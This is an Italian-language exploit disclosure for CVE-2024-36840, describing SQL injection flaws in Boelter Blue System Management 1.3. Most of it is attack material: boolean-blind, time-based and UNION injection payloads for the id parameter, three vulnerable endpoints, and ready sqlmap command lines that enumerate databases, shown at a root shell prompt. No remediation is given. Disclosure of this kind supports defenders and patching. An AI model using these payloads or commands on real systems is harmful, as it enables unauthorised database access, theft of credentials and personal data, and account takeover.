Sono state identificate multiple vulnerabilità di SQL Injection in Boelter Blue System Management (versione 1.3). Queste vulnerabilità consentono agli attaccanti di iniettare ed eseguire comandi SQL arbitrari attraverso vari parametri. Uno sfruttamento riuscito può comportare accesso non autorizzato, esfiltrazione di dati e potenziali compromissioni di account.

Parametri Interessati e Dettagli dell'Exploit:

1. Parametro: id (GET)

   • Tipo: Blind basata su booleani
   • Payload: id=10071 AND 4036=4036

2. Tipo: Blind basata sul tempo

   • Payload: id=10071 AND (SELECT 4443 FROM (SELECT(SLEEP(5)))LjOd)

3. Tipo: Query UNION

   • Payload: id=-5819 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170766b71,0x646655514b72686177544968656d6e414e4678595a666f77447a57515750476751524f5941496b55,0x7162626a71),NULL,...

Endpoint Vulnerabili

1. news_details.php?id

   • Esempio: https://www.example.com/news_details.php?id=10071
   • Sfruttamento:
     root@kitploit:~

     sqlmap -u "https://www.example.com/news_details.php?id=10071" --random-agent --dbms=mysql --threads=4 --dbs
     

2. services.php?section

   • Esempio: https://www.example.com/services.php?section=5081
   • Sfruttamento:
     root@kitploit:~

     sqlmap -u "https://www.example.com/services.php?section=5081" --random-agent --tamper=space2comment --threads=8 --dbs
     

3. location_details.php?id

   • Esempio: https://www.example.com/location_details.php?id=836
   • Sfruttamento:
     root@kitploit:~

     sqlmap -u "https://www.example.com/location_details.php?id=836" --random-agent --dbms=mysql --dbs
     

Impatto

• Accesso Non Autorizzato al Database: Lo sfruttamento può portare ad accesso non autorizzato al database, consentendo agli attaccanti di estrarre informazioni sensibili.
• Fuga di Dati: Dati sensibili come credenziali admin, PII degli utenti e cronologia degli acquisti possono essere compromessi.
• Compromissione degli Account: Gli attaccanti possono potenzialmente compromettere gli account degli utenti.
• Controllo Totale: Può essere ottenuto il controllo totale dell'applicazione interessata, con gravi implicazioni per la sicurezza.

Crediti

• Scopritori: CBKB (DeadlyData, R4d1x)

Riferimenti

• Rapporto di Vulnerabilità CyberDepot
• CVE-2024-36840